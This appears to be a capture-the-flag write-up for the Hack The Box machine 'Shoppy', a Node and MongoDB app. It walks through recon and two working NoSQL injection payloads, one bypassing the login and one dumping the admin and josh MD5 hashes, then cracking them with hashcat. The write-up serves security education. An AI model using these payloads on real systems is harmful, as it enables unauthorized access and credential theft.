HTB: Shoppy
NoSQL auth bypass at the login, then a second NoSQL injection in the admin user search dumps the MD5 hashesshoppy.htb is a Node app backed by MongoDB. The login takes a NoSQL auth bypass with admin'||'1==1, which drops you into the admin panel. The panel's user search is injectable the same way: a payload carrying this.password.match(/.*/) returns every account and writes them to /exports/export-search.json, leaking the admin and josh MD5 password hashes. The admin hash is a plain MD5 for hashcat.
the box
Shoppy is a Linux box at 10.10.11.180. The front end is a countdown wait page on nginx, but the real surface is a Node app behind it with a login and an admin panel, both backed by MongoDB. The way in is two NoSQL injections in a row: one in the login to skip the password check, and one in the admin user search to dump every account’s hash. I added the vhost first.
10.10.11.180 shoppy.htb
recon
Full sweep, then a service scan on the open ports:
$ nmap -p- --min-rate 10000 10.10.11.180
$ nmap -p 22,80,9093 -sCV 10.10.11.180
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.23.1
9093/tcp open copycat?
The SSH banner pins Debian 11. Port 80 served a page titled “Shoppy Wait Page” on nginx 1.23.1. I noted the version and flagged CVE-2022-37434 (the nginx/zlib heap overflow) as a possibility, but nothing on the box needed it and it went nowhere.
Port 9093 answered plain-text Go runtime metrics with Content-Type: text/plain; version=0.0.4, the Prometheus text exposition format. An exposed metrics endpoint with nothing actionable on it:
HTTP/1.0 200 OK
Content-Type: text/plain; version=0.0.4; charset=utf-8
# HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
# TYPE go_gc_cycles_automatic_gc_cycles_total counter
go_gc_cycles_automatic_gc_cycles_total 6
Content discovery on the vhost turned up the app routes:
/login (200)
/admin (302 -> /login)
/exports (301 -> /exports/)
/images /assets /css /js /fonts
The front page loaded three scripts (js/plugins.js, js/jquery.countdown.min.js, js/main.js), but plugins.js was just a bundled Zepto parallax plugin with no lead in it. /admin redirected to /login, so the login was the gate.
NoSQL auth bypass
The login was not SQL. The session cookie is connect.sid, which is Express, and the documents carry 24-hex _id values, which is MongoDB, so I went at the login as NoSQL. A string-break payload in the username bypassed the check:
admin'||'1==1
The leading quote closes the username string and ||'1==1 appends a truthy clause, so the query matches without a valid password. That logged straight into the admin panel.
The panel has a search-for-users feature, and running a search writes the matching documents to a JSON file under /exports. When I first pulled it, it held a single document, the admin account:
GET /exports/export-search.json
[{"_id":"62db0e93d6d6a999a66ee67a","username":"admin","password":"23c6877d9e2b564ef8b32c3a23de27b2"}]
dumping the hashes
The search parameter reaches the same JavaScript-evaluated query, so it takes the same treatment. The captured request, with the payload URL-encoded:
GET /admin/search-users?username=%27%20&&%20this.password.match(/.*/)//+%00 HTTP/1.1
Host: shoppy.htb
Decoded, the username value is:
' && this.password.match(/.*/)//
The leading quote closes the string, this.password.match(/.*/) is a regex that matches any password on every document, and // comments out the rest of the server’s query (the trailing %00 NUL closes it out). Instead of one user, the export came back with both accounts:
[
{"_id":"62db0e93d6d6a999a66ee67a","username":"admin","password":"23c6877d9e2b564ef8b32c3a23de27b2"},
{"_id":"62db0e93d6d6a999a66ee67b","username":"josh","password":"6ebcea65320589ca4f2f1ce039975995"}
]
Two unsalted MD5 hashes, admin and josh.
cracking
I pulled the admin hash into a file and ran hashcat in MD5 mode against rockyou:
$ cat hash.txt
$ 23c6877d9e2b564ef8b32c3a23de27b2
$ hashcat -m 0 hash.txt rockyou.txt
takeaway
Same bug class twice. The login and the admin user search both concatenate input into a Mongo query that is evaluated as JavaScript, so the first injection skips the password check and the second turns a single-record lookup into a full dump with this.password.match(/.*/). Storing those passwords as unsalted MD5 is the second mistake: once the documents leak, rockyou finishes the job.